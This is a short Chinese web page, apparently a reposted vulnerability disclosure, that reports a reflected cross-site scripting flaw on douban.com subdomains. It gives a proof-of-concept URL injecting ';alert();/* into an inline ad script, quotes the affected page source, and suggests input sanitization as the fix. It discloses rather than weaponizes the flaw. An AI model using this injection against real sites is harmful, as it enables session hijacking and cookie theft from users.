好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Douban反射型跨站 - 网站安全 - 自学php

http://guangzhou.douban.com/ 可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使 黑客 能够以该用户身份查看或变更用户记录以及执行事务    

view-source:http://beijing.douban.com/?';alert();/*

<script type="text/javascript">     (function (global) {         var newNode = global.document.createElement('script'),             existingNode = global.document.getElementsByTagName('script')[0],             adSource = 'http://erebor.douban.com/',             userId = '2025898',             browserId = 'S/AE5RYypw4',             ipAddress = '114.254.41.32',             criteria = '3:/?';alert();/*',             preview = '',             debug = false,             adSlots = ['dale_location_home_top_right'];

        global.DoubanAdRequest = {src: adSource, uid: userId, bid: browserId, ip: ipAddress, crtr: criteria, prv: preview, debug: debug};         global.DoubanAdSlots = (global.DoubanAdSlots || []).concat(adSlots);

        newNode.setAttribute('type', 'text/javascript');         newNode.setAttribute('src', 'http://img3.douban.com/js/packed_ad533989358.js');         newNode.setAttribute('async', true);         existingNode.parentNode.insertBefore(newNode, existingNode);     })(this); </script> 修复方案: 清理用户输入,并过滤出代码。

查看更多关于Douban反射型跨站 - 网站安全 - 自学php的详细内容...

  阅读:44次